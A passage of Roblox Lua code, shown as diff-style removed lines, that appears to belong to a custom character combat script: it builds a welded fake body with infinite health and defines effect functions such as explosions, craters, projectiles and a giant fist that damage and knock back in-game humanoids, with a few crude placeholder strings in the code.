- wexx.C1=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) else wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i))
- wexx.C1=ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i))end if fu then q(fu) end w() end
- for i=0.8,1,smmx*0.45 do twa = 1 if c0orc1==0 then wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) elseif c0orc1==1 then
- wexx.C1=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) else wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i))
- wexx.C1=ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i))end if fu then q(fu) end w() end
- end
- local i=1 if c0orc1==0 then wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) elseif c0orc1==1 then wexx.C1=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) *ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i))
- else wexx.C0=cn(x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)) wexx.C1=ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)) end a.Welding=a.Welding - 1 local tn=ft2(a.insw,wexx)
- if c0orc1==0 then
- a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)
- a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"]=xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)
- elseif c0orc1==1 then
- a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"]=x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)
- a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)
- elseif c0orc1==3 then
- local x,y,z=wexx.C0.x,wexx.C0.y,wexx.C0.z
- a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)
- local x,y,z=wexx.C1:toEulerAnglesXYZ()
- a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)
- end end
- to["Left Hip"].Part0=to to["Right Hip"].Part0=to to["Left Shoulder"].Part0=to to["Right Shoulder"].Part0=to
- --"http://www.roblox.com/asset?id=67168288"
- tk = true
- p={}
- t=pa(su,"Torso","Block",1.99,1.99,1,false,false,0,0,ts(to.BrickColor))
- la=pa(su,"Left Arm","Block",0,0,0,false,false,0,0,ts(c["Left Arm"].BrickColor)) law=weld(la,t,la,-1.5,1,0,0,0,0)
- ra=pa(su,"Right Arm","Block",0,0,0,false,false,0,0,ts(c["Right Arm"].BrickColor)) raw=weld(ra,t,ra,1.5,1,0,0,0,0)
- ll=pa(su,"Left Leg","Block",0,0,0,false,false,0,0,ts(c["Left Leg"].BrickColor)) llw=weld(ll,t,ll,-0.5,-1,0,0,0,0)
- rl=pa(su,"Right Leg","Block",0,0,0,false,false,0,0,ts(c["Right Leg"].BrickColor)) rlw=weld(rl,t,rl,0.5,-1,0,0,0,0)
- local hd2 = hd:Clone() hd2.Parent = su hd2.Transparency = 0 hd2.face.Face = "Front" hd2.Name = "FakeHead" hw=weld(hd2,t,hd2,0,1.5,0,0,0,0)
- hd.Name = "Head" hd.Parent=su hd.Transparency=1 hd.face:Remove() hw2=weld(hd,t,hd,0,1.5,0,0,0,0)
- tw=weld(t,to,t,0,0,0,0,0,0)
- local fhu = it("Humanoid",su) fhu.MaxHealth = 1/0 fhu.PlatformStand = true fhu.Name = ""
- pcall(function() c.Shirt:Clone().Parent = su end)
- lh = to["Left Hip"] rh = to["Right Hip"] ls = to["Left Shoulder"] rs = to["Right Shoulder"]
- lh.Part0=t rh.Part0=t ls.Part0=t rs.Part0=t
- law2 = it("Weld",la) raw2 = it("Weld",ra) llw2 = it("Weld",ll) rlw2 = it("Weld",rl)
- law2.Part0 = la raw2.Part0 = ra llw2.Part0 =ll rlw2.Part0 = rl
- law2.C0 = cn(0,-1,0) raw2.C0 = cn(0,-1,0) llw2.C0 = cn(0,-1,0) rlw2.C0 = cn(0,-1,0)
- la.Transparency=1 ra.Transparency=1 ll.Transparency=1 rl.Transparency=1
- c["Left Arm"].Transparency = 0 c["Right Arm"].Transparency = 0
- c["Left Leg"].Transparency = 0 c["Right Leg"].Transparency = 0
- Armb=true Armb2=true
- Legb=true Legb2=true
- function Armz(ison) Armb=ison if ison then
- law.Part0=c["Left Arm"] law.C0=cn(-1.5,1,0) raw.Part0=c["Right Arm"] raw.C0=cn(1.5,1,0)
- ls.Part1 = c["Left Arm"] rs.Part1 = c["Right Arm"] law2.Part1 = la raw2.Part1 = ra
- else
- law2.Part0 = la law2.Part1 = c["Left Arm"] raw2.Part0 = ra raw2.Part1 = c["Right Arm"]
- ls.Part1 = t rs.Part1 = t law.Part0=t law.C0=cn(-1.5,1,0) raw.Part0=t raw.C0=cn(1.5,1,0)
- end end
- function Legz(ison) Legb=ison if ison then
- llw.Part0=c["Left Leg"] llw.C0=cn(-0.5,-1,0) rlw.Part0=c["Right Leg"] rlw.C0=cn(0.5,-1,0)
- lh.Part1 = c["Left Leg"] rh.Part1 = c["Right Leg"] llw2.Part1 = ll rlw2.Part1 = rl
- else
- llw2.Part0 = ll llw2.Part1 = c["Left Leg"] rlw2.Part0 = rl rlw2.Part1 = c["Right Leg"]
- lh.Part1 = t rh.Part1 = t llw.Part0=t llw.C0=cn(-0.5,-1,0) rlw.Part0=t rlw.C0=cn(0.5,-1,0)
- end end function Headz(ison) if ison then he.Transparency=0 else end end
- Armz(true) Legz(true) --newhats(c,hd2,he)
- hax2sazc = "BUTTSEXSYSTEM"
- function Sound(sidz,pit,vol,parz) local sid=sidz if sid:sub(1,3) ~= "rbx" then sid = asset .. sid end local parx = to if parz then parx = parz end q(function() local sou = it("Sound") sou.SoundId = sid sou.Pitch = pit sou.Volume = vol/1.5 sou.Parent = parx game:service'Lighting'[hax2sazc].Value = sou w(5) sou:Remove'' end) end
- Sound("Your_F*cking_Name_here",1,1,he)
- function SplashDmg(tehsit,pos,dmgx,mag,forc,fu) q(function()
- local function dive(obj) for i,v in pairs(obj:children()) do if i%(#obj:children()/5)==0 then w() end --if i%antisplashdamagesexhack==0 then w() end --i%(#obj:children()/4)==0 then w() end
- if not v:IsA("Model") and v ~= to and v:IsA("BasePart") and v.Name=="Torso" and getclass(v.Parent,"Humanoid") ~= nil and (v.Position - pos).magnitude < mag then local av=getclass(v.Parent,"Humanoid") Dmgz(true,av,dmgx,v,fu) if tehsit then av.Sit=true end
- --elseif v:IsA("BasePart") and (v.Position-pos).magnitude < mag and not v.Anchored and v:GetMass() < 200 and v.Name ~= "Handle" and findclass(v.Parent,"Humanoid") <1 and findclass(v.Parent.Parent,"Humanoid") <1 and v.Parent.Parent.Name ~= "Suit" then if (v.Position-pos).magnitude < mag/2 then v:BreakJoints() v.CFrame=cn(v.Position,pos)*ca(0,rd(180),0) end v.Velocity=cn(pos,v.Position).lookVector*forc
- else q(function() if #v:children() > 0 and not v:IsA("BasePart") and v.className~="Script" and v.className~="Camera" then dive(v) end end) end
- end end -- func and loop end
- dive(workspace) dive(workspace.CurrentCamera) end) end
- for i,v in pairs(c:children()) do if v.Name == su.Name and v ~= su then v:Remove() end end
- function BlastMesh(col2,pos,adjus2,sc) local adjus=adjus2 *cn(0,-0.12*sc,0) local spi=pa(m,"","Block",0,0,0,false,false,1,0,col2) spi.Anchored=true local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=Decs.Crown spim.Scale=v3(sc*1.4,(sc*0.4),sc*1.4) q(function() local fu=spim.Scale local spix=0 for i=1,0.4,-0.05 do spix=spix + 15 spi.Transparency=i spim.Scale=v3(((fu.x*i)/2)+(fu.x/2),fu.y,((fu.z*i)/2)+(fu.z/2)) spi.CFrame=pos.CFrame *adjus *ca(0,rd(spix),0) w() end for i=0.4,1,0.05 do spix=spix + 15 spi.Transparency=i spim.Scale=v3(fu.x*i,fu.y,fu.z*i) spi.CFrame=pos.CFrame *adjus *ca(0,rd(spix),0) w() end spi:Remove'' end) end
- function GlowMesh(anch,meshid2,rootz,mv3,colzz,adjus,l1,l2,l3) q(function()
- local spi=pa(c,"","Block",1,1,1,false,false,l1,0,colzz) local spim=it("SpecialMesh",spi) if meshid2:lower()=="sphere" then spim.MeshType="Sphere" elseif meshid2:lower()=="block" then spim.MeshType="Brick" else spim.MeshType="FileMesh" spim.MeshId=meshid2 end
- if anch then local spiw=weld(spi,rootz,spi,0,0,0,0,0,0) spiw.C0 =spiw.C0 *adjus else spi.Anchored=true spi.CFrame=adjus end
- for i=l1,l2,l1 do spi.Transparency=i spim.Scale=mv3*(i+0.3) w() end spi:Remove'' end)
- end
- function Explode(onb,scz,colzz,dmge) q(function() local scale=scz*2 local scale2=scale*0.825
- local e1=pa(c,"","Block",0,0,0,false,false,0.3,0,colzz) e1.Anchored=true e1.CFrame=onb*ca(rd(-90),0,0) local e1m=it("SpecialMesh",e1) e1m.MeshType="FileMesh" e1m.MeshId=Decs.Ring
- local e2=pa(c,"","Block",0,0,0,false,false,0.3,0,colzz) e2.Anchored=true e2.CFrame=onb*ca(0,0,0) local e2m=it("SpecialMesh",e2) e2m.MeshType="FileMesh" e2m.MeshId=Decs.Ring
- local e3=pa(c,"","Block",0,0,0,false,false,0.3,0,colzz) e3.Anchored=true e3.CFrame=onb*ca(0,0,0) local e3m=it("SpecialMesh",e3) e3m.MeshType="FileMesh" e3m.MeshId=Decs.Crown
- SplashDmg(false,onb.p,dmge,scale/1.6,125) q(function() for i=0.4,1,0.04 do w() end fade(e1,0.1) fade(e2,0.1) fade(e3,0.1) end) for i=0.3,1,0.035 do
- e3m.Scale=v3((scale2/1.3)*i,(scale2/2)*i,(scale2/1.3)*i) e2m.Scale=v3((scale2*1.3)*i,(scale2*1.3)*i,(scale2*1.3)*i) e1m.Scale=v3((scale2*1.3)*i,(scale2*1.3)*i,(scale2*1.3)*i) e1.CFrame=onb*ca(rd(-90),rd(360),0) e2.CFrame=onb*ca(0,rd(360),0) e3.CFrame=onb*ca(rd(180),rd(360),0) w()
- end
- end) end
- function splat2(pos,dmge)
- local dbr=it("Model",workspace) local colz2="Bright red" if ts(dmge)=="Block!" then colz2="Bright blue" end
- dbr.Name=ts(dmge) local dbri=pa(dbr,"Head","Block",1,0,1,false,false,0,0,colz2) it("Humanoid",dbr).MaxHealth=0
- dbri.Anchored=true dbri.CFrame=cn(pos + v3(rn(-15,15)/10,3,rn(-15,15)/10)) game:service'Debris':AddItem(dbr,0.5) end
- local DBDH={}
- function Dmgz(blockz,aihu,dmgzz2,pos,fuu) if ft(DBDH,aihu.Parent) or aihu == hu then return end if aihu.Health==0 then return end if aihu.Parent:findFirstChild("ForceField") then return end dmgdeb2=true q(function() if (aihu.Parent:findFirstChild("Block") and aihu.Parent.Block:IsA("BoolValue") and aihu.Parent.Block.Value and not blockz) or pos.Name:lower()=="shield" then splat2(pos.Position,"Bl" .. "ock!") w(0.2) Sound(Sounds.Block,1.4,3) return end
- local dmgzz=dmgzz2 if game:service'Players':findFirstChild(aihu.Parent.Name) and not tk then return end if game:service'Players':findFirstChild(aihu.Parent.Name) == nil then dmgzz=dmgzz*1.75 end ti(DBDH,aihu.Parent) if rn(1,a.cr[1]) == 1 then aihu.Health=aihu.Health-dmgzz*a.cr[2] dmgzz="Crit! " ..ts(dmgzz*a.cr[2]) else q(function() fuu(aihu.Parent) end) aihu.Health=aihu.Health-dmgzz end if not pos then return end splat2(pos.Position,dmgzz) q(function() w(0.08) tr(DBDH,ft(DBDH,aihu.Parent)) end)
- end) end
- function rayHit(wai,Cobalt1164k,wepCobalt1164,adjus,magz,tim) local DebounceTable2={} q(function()
- local hitx=0 local tymzup=false q(function() w(wai) tymzup=true end)
- repeat w() local tries=0 local bhit,bpos=nil,v3(999,999,999)
- repeat tries=tries + 1 local xx=0 local yy=0 if tries==1 then xx=1 elseif tries==2 then xx=-1 elseif tries == 3 then yy=1 elseif tries == 4 then yy=-1 elseif tries == 5 then xx=-1 yy=-1 elseif tries == 6 then xx,yy=1,1 elseif tries == 7 then xx,yy=-1,1 elseif tries == 8 then xx,yy=1,-1 end
- bhit,bpos=ray((wepCobalt1164.CFrame *adjus *cn(xx,yy,-0.8)).p,wepCobalt1164.Position - (wepCobalt1164.CFrame *adjus *cn(0,0,2)).p)
- if bhit ~= nil and (bpos - wepCobalt1164.Position).magnitude < magz+0.8 then break end until tries > 8
- if bhit==nil or (bpos - wepCobalt1164.Position).magnitude > magz+0.8 then else local brea=false
- for i,v in pairs(bhit.Parent:children()) do local dmge=rn(d[1],d[2])*tim
- if v:IsA("Humanoid") and not DebounceTable2[v.Parent.Name] then DebounceTable2[v.Parent.Name]=true Dmgz(false,v,dmge,bhit) Sound(Sounds.Smash,0.9,1) hitx=hitx+1 brea=true break end end
- if bhit.Parent ~= workspace and not brea then for i,v in pairs(bhit.Parent.Parent:children()) do local dmge=rn(d[1],d[2])*tim
- if v.Parent:findFirstChild("Humanoid") and not DebounceTable2[v.Parent.Parent.Name] then DebounceTable2[v.Parent.Parent.Name]=true Dmgz(false,v.Parent.Humanoid,dmge,bhit) Sound(Sounds.Smash,0.9,1) hitx=hitx+1 break end end
- end
- end until hitx >= Cobalt1164k or tymzup end) end
- function GetRegion(p0,p1,f,f2) q(function()
- for i,v in pairs(workspace:FindPartsInRegion3(Region3.new(p0,p1),c,100) ) do if v.Parent:findFirstChild("Humanoid") and v.Parent.Humanoid.Health > 0 and v.Parent:findFirstChild("Torso") then q(function() f(v.Parent) end) elseif f2 and v.Parent.Parent:findFirstChild("Humanoid") == nil then f2(v) end end
- end) end
- function FindGround(pos) local ax,ay,az = pos:toEulerAnglesXYZ()
- local bhit,bpos=ray(pos.p,pos.p - (pos.p + v3(0,200,0)))
- if bhit and bpos then return cn(bpos)*ca(ax,ay,az) end return nil end
- function MakeCrater(pos,sc,tyms,debz) q(function() if not debz then debz = 5 end
- local bhit,bpos=ray(pos,pos - (pos + v3(0,200,0)))
- if bhit and bpos then
- for i=1,tyms do q(function()
- local gr = pa(su,"","Block",rn(5,13)/10*sc,0.25*sc,rn(4,10)/10*sc,true,true,bhit.Transparency,bhit.Reflectance,bhit.BrickColor.Name) gr.Material = bhit.Material gr.TopSurface = bhit.TopSurface
- gr.CFrame = cn(bpos+v3(rn(-12,12)/10*sc,0,rn(-12,12)/10*sc))*ca(rd(rn(-40,40)),rd(rn(-360,360)),rd(rn(-40,40))) wait(debz) fade(gr,0.1)
- end) end
- end
- end)
- end
- function ForceBrick(v,rootpos,force) q(function() if v:GetMass() > 100 or v.Anchored or getclass(v,"Weld") then return end
- v:BreakJoints() v.Velocity = cn(rootpos,v.Position).lookVector*force
- end) end
- function FireObj(v,tcf2,adj,spi,tym,rang,fu,glo) q(function() -- obj,cf,adj,spid,tyms,rang,func,glo
- local tcf = tcf2 for i=1,tym do
- bhit,bpos=ray(tcf.p,tcf.p - (tcf *cn(0,0,-1)).p)
- if bhit and (bpos - tcf.p).magnitude < rang then break end
- tcf=tcf*cn(0,0,spi) v.CFrame=tcf*adj
- wait() end
- if glo then GlowMesh(false,"Sphere",t,v3(glo,glo,glo),'Navy blue',cn(bpos),0.1,1,0.08) end
- if fu and bhit then fu(bhit) else wait(rn(0,20)/10) fade(v,0.1) end
- end) end
- function ProjHit1(v,hit,mul2) local mul = mul2 q(function() if not mul2 then mul = 1 end if not hit.Anchored then
- if hit.Parent:findFirstChild("Humanoid") and hit.Parent:findFirstChild("Torso") then Dmgz(false,hit.Parent.Humanoid,rn(d[1],d[2])*mul,hit.Parent.Torso) end
- v.Anchored = false stick(hit,v)
- wait(1) end wait(rn(10,25)/10) fade(v,0.1) end) end
- --Dio's functions
- function SpawnSword(pos,sc,dmg,col) if pos == nil then return end q(function() MakeCrater(pos.p+v3(0,2,0),3,3,3)
- GlowMesh(false,"Sphere",t,v3(7*sc,1.5*sc,7*sc),col,pos,0.1,1,0.05)
- local pro = pa(su,"","Block",2*sc,2*sc,7*sc,true,true,0.3,0,"") local prom = qi({"SpecialMesh",pro,Scale=v3(3*sc,2*sc,4*sc),VertexColor=v3(0,0,1),MeshType="FileMesh",MeshId=Decs.RedCliff,TextureId=Decs.RedCliffT})
- pro.CFrame = pos*ca(rd(-25),0,0)*cn(0,-3*sc,0) local cff = pro.CFrame for i=0.1,1,0.15 do pro.CFrame=cff*cn(0,6*sc*i,0)*ca(rd(-90),0,0)*ca(0,0,rd(90)) wait() end
- local rr = sc*1.5 GetRegion(pro.Position-v3(rr,rr,rr),pro.Position+v3(rr,rr,rr),function(v) v.Humanoid.PlatformStand = true local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(pro.Position,v.Torso.Position+v3(0,20,0)).lookVector*40}) Dmgz(false,v.Humanoid,rn(d[1],d[2]),v.Torso) wait(0.15) bpp:Remove() v.Humanoid.PlatformStand = false end) wait(1) for i=1,0,-0.15 do pro.CFrame=cff*cn(0,6*sc*i,0)*ca(rd(-90),0,0)*ca(0,0,rd(90)) wait() end pro:Remove() end)
- end local bped = {}
- function SpikeSucker(pos,sc)
- local bal = pa(c,"","Ball",4*sc,4*sc,4*sc,false,true,0.16,0,"White") bal.CFrame = pos
- local spi = pa(c,"","Ball",0,0,0,false,true,0.16,0,"White") spi.CFrame = bal.CFrame local spm = qi({"SpecialMesh",spi,MeshType="FileMesh",MeshId=Decs.SpikeBall})
- local dia = pa(bal,"","Block",0,0,0,false,true,0.3,0,"White") qi({"SpecialMesh",dia,Scale=v3(1*sc,2*sc,1*sc),MeshType="FileMesh",MeshId=Decs.Diamond})
- local dia2 = dia:Clone() dia2.Parent = bal local dia3 = dia:Clone() dia3.Parent = bal local tms = 0 local rr=10*sc for x=1,4 do
- for i=0,1,0.1 do tms = tms + 1
- spm.Scale = v3(i,i,i)*1.7 spi.CFrame=spi.CFrame*ca(rd(4),rd(4),rd(4)) dia.CFrame = bal.CFrame*ca(rd(tms*5),0,0)*cn(0,6*sc,0) dia2.CFrame = bal.CFrame*ca(0,0,rd(tms*5))*cn(0,6*sc,0) dia3.CFrame = bal.CFrame*ca(0,rd(tms*5),0)*cn(0,0,6*sc)*ca(rd(90),0,0)
- if tms%3==0 then GetRegion(bal.Position-v3(rr,rr,rr),bal.Position+v3(rr,rr,rr),function(v) Dmgz(false,v.Humanoid,rn(1,3),v.Torso) if v.Torso:findFirstChild("SBP") == nil then ti(bped,v) qi({"BodyPosition",v.Torso,Name="SBP",D=6000,maxForce=v3(200000,200000,200000),position=bal.Position}) end end) end
- wait()
- end
- for i=1,0,-0.1 do tms = tms + 1
- spm.Scale = v3(i,i,i)*1.7 spi.CFrame=spi.CFrame*ca(rd(4),rd(4),rd(4)) dia.CFrame = bal.CFrame*ca(rd(tms*5),0,0)*cn(0,6*sc,0) dia2.CFrame = bal.CFrame*ca(0,0,rd(tms*5))*cn(0,6*sc,0) dia3.CFrame = bal.CFrame*ca(0,rd(tms*5),0)*cn(0,0,6*sc)*ca(rd(90),0,0)
- if tms%3==0 then GetRegion(bal.Position-v3(rr,rr,rr),bal.Position+v3(rr,rr,rr),function(v) Dmgz(false,v.Humanoid,rn(1,3),v.Torso) if v.Torso:findFirstChild("SBP") == nil then ti(bped,v) qi({"BodyPosition",v.Torso,Name="SBP",D=6000,maxForce=v3(200000,200000,200000),position=bal.Position}) end end) end
- wait()
- end
- for i,v in pairs(bped) do q(function() for i,vv in pairs(v.Torso:children()) do if vv.Name == "SBP" then vv:Remove() end end end) end
- end
- q(function() fade(dia,0.2) fade(dia2,0.2) fade(dia3,0.2) for i=0.1,1,0.1 do spi.Transparency = i spm.Scale = spm.Scale*1.1 bal.Transparency = i bal.Size = bal.Size*1.1 bal.CFrame = pos wait() end spi:Remove() bal:Remove() end)
- end
- function Blackspace(pos,tms,dmg)
- local bal = pa(c,"","Ball",52,52,52,false,true,1,0,"Really black") bal.CFrame = pos
- for i=1,0.5,-0.1 do bal.Transparency =i wait() end
- for i=1,tms do local o = 25
- Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(25,0,0).p,4,2.5,"Institutional white",0.3,0)
- Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(-25,0,0).p,4,2.5,"Institutional white",0.3,0)
- Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(0,25,0).p,4,2.5,"Institutional white",0.3,0)
- Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(0,-25,0).p,4,2.5,"Institutional white",0.3,0)
- Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(0,0,25).p,4,2.5,"Institutional white",0.3,0)
- Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(0,0,-25).p,4,2.5,"Institutional white",0.3,0)
- local rr = 25 if i%4==0 then GetRegion(pos.p-v3(rr,rr,rr),pos.p+v3(rr,rr,rr),function(v) Dmgz(false,v.Humanoid,rn(3,5),v.Torso) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(bal.Position,v.Torso.Position).lookVector*10}) wait(0.1) bpp:Remove() end) end
- wait(0.05)
- end
- for i=0.5,1,0.1 do bal.Transparency =i wait() end bal:Remove()
- end
- function MatterBall(pos,sc,spid,tyms,dmgmul) q(function()
- local cor = db1:Clone() cor.Mesh.Scale=v3(sc,sc,sc)*5 local cor2 = db2:Clone() cor2.Mesh.Scale = cor.Mesh.Scale*1.55 qi({"Fire",cor,Color=bc('Navy blue').Color,SecondaryColor=bc('Navy blue').Color,Size=sc*3.5,Heat=0})
- cor.Transparency = 0.05 cor.Anchored = true cor2.Anchored = true cor2.Transparency = 0.4 cor.Parent = su cor2.Parent = cor cor.CFrame = pos
- local corms = cor.Mesh.Scale local cor2ms = cor2.Mesh.Scale for i=1,tyms do local Cobalt1164vt = {-2*sc,2*sc}
- local Cobalt1164v3 = v3(0,0,0) local Cobalt1164rn = rn(1,3) if Cobalt1164rn == 1 then Cobalt1164v3=v3(Cobalt1164vt[rn(1,2)],0,0) elseif Cobalt1164rn == 2 then Cobalt1164v3=v3(0,Cobalt1164vt[rn(1,2)],0) elseif Cobalt1164rn == 3 then Cobalt1164v3=v3(0,0,Cobalt1164vt[rn(1,2)]) end cor.Mesh.Scale=corms+Cobalt1164v3 cor2.Mesh.Scale=cor2ms+Cobalt1164v3
- cor.CFrame = pos*cn(0,0,-spid*i)
- local bhit,bpos=ray(cor.Position,cor.Position - (cor.CFrame *cn(0,0,1)).p)
- if bhit and (bpos - cor.Position).magnitude < (spid*1.1) then break end
- cor.CFrame=cor.CFrame*ca(rd(rn(-360,360)),rd(rn(-360,360)),rd(rn(-360,360))) cor2.CFrame = cor.CFrame
- local Cobalt1164pos = FindGround(cor.CFrame) if Cobalt1164pos and i%rn(2,3)==0 then GlowMesh(false,Decs.Crown,t,v3(2.6*sc,0.8*sc,2.6*sc),'Navy blue',cn(Cobalt1164pos.p+v3(0,0.15*sc,0)),0.1,1,0.05) end
- wait() end cor.Fire:Remove()
- q(function()
- local n1 = pa(su,"","Block",0,0,0,true,true,0.3,0,"White") qi({"SpecialMesh",n1,Scale=v3(3.5,3.5,8),MeshType="FileMesh",MeshId=Decs.Chakram})
- local n2 = n1:Clone() n2.Parent = su n1.CFrame = cor.CFrame*ca(0,rd(-45),0) n2.CFrame = cor.CFrame*ca(0,rd(45),0)
- for i=1,8 do n1.Mesh.Scale = n1.Mesh.Scale+v3(0.3*sc,0.3*sc,0.35*sc) n2.Mesh.Scale = n1.Mesh.Scale cor.Transparency = cor.Transparency + 0.12 n1.Transparency = cor.Transparency n2.Transparency = n1.Transparency cor2.Transparency = cor2.Transparency + 0.1 cor.Mesh.Scale = cor.Mesh.Scale+v3(2.3*sc,2.3*sc,2.3*sc) cor2.Mesh.Scale = cor.Mesh.Scale*1.55 wait() end n1:Remove() n2:Remove() cor:Remove() cor2:Remove() end)
- local rr = sc GetRegion(cor.Position-v3(rr,rr,rr),cor.Position+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(cor.Position,v.Torso.Position+v3(0,2,0)).lookVector*60}) Dmgz(false,v.Humanoid,rn(d[1],d[2])*dmgmul,v.Torso) wait(0.12) bpp:Remove() end)
- end) end
- function FistBoom(pos,sc,dmg,TYMZEH) q(function()
- local rip = pa(su,"","Block",1,1,1,false,true,0.2,0,"White") local ripm = qi({"SpecialMesh",rip,MeshType="Sphere"})
- rip.CFrame = pos*cn(-4*sc/2,4*sc/2,0)*ca(0,0,rd(45))
- for i=1,3.5,0.5 do rip.Size=v3(1,i*2,1) rip.CFrame = pos*cn((-4+i)*sc,(4-i)*sc,0)*ca(0,0,rd(45)) wait() end
- for i=1,3.5,0.25 do rip.Size=v3(i*2,7,1) rip.CFrame = pos*ca(0,0,rd(45)) wait() end
- local fis = pa(su,"","Block",0,0,0,false,true,0.2,0,"White") local fism = qi({"SpecialMesh",fis,Scale=v3(8*sc,8*sc,8*sc),MeshType="FileMesh",MeshId=Decs.Fist})
- for i=0.5,5.5,1 do fism.Scale = v3(8*sc,((8*sc)/5.5)*i,8*sc) fis.CFrame = pos*cn(0,0,-i*sc)*ca(rd(-90),rd(-90),0) wait() end
- fism.Scale = fism.Scale+v3(1*sc,1*sc,1*sc) fis.CFrame = pos*cn(0,5*sc,-5*sc)*ca(rd(45),0,0)*ca(rd(-90),rd(-90),0) rip.CFrame=pos*ca(rd(45),0,0) qi({"Fire",fis,Heat=-25,Size=15,Color=bc('Navy blue').Color,SecondaryColor=bc('Navy blue').Color})
- local arm = pa(su,"","Block",1,1,1,false,true,0.2,0,"White") local armm = it('CylinderMesh',arm)
- arm.CFrame = cn(rip.Position,fis.CFrame*cn(0,-5.5,0).p)*cn(0,0,-(rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude/2-0.5)*ca(rd(90),0,0) armm.Scale = v3(4*sc,(rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude+1,4*sc)
- for i=1,7 do fis.CFrame=fis.CFrame*cn(0,TYMZEH/7,0)
- arm.CFrame = cn(rip.Position,fis.CFrame*cn(0,-5.5,0).p)*cn(0,0,-(rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude/2-0.5)*ca(rd(90),0,0) armm.Scale = v3(4*sc,(rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude+1,4*sc)
- wait() end local armag = (rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude+1
- for x=45,0,-5 do
- rip.CFrame = pos*ca(rd(x+180),0,0) fis.CFrame=rip.CFrame*cn(0,0,(armag-1)+(5.5*sc))*ca(rd(90),rd(-90),0)
- arm.CFrame = rip.CFrame*cn(0,0,((armag-1)/2)+0.5)*ca(rd(90),0,0)
- wait()
- end
- q(function() local cfz = {rip.CFrame,arm.CFrame,fis.CFrame} for i=1,15 do local Cobalt1164v3=v3(rn(-1*sc,1*sc),rn(-1*sc,1*sc),rn(-1*sc,1*sc)) rip.CFrame=cfz[1]+Cobalt1164v3 fis.CFrame=cfz[3]+Cobalt1164v3 arm.CFrame=cfz[2]+Cobalt1164v3 wait() end
- for i=armag,0,-armag/15 do armm.Scale =v3(4,i,4) fis.CFrame=rip.CFrame*cn(0,0,(i)+(5.5*sc))*ca(rd(90),rd(-90),0) arm.CFrame = rip.CFrame*cn(0,0,((i-1)/2)+0.5)*ca(rd(90),0,0) wait() end arm:Remove()
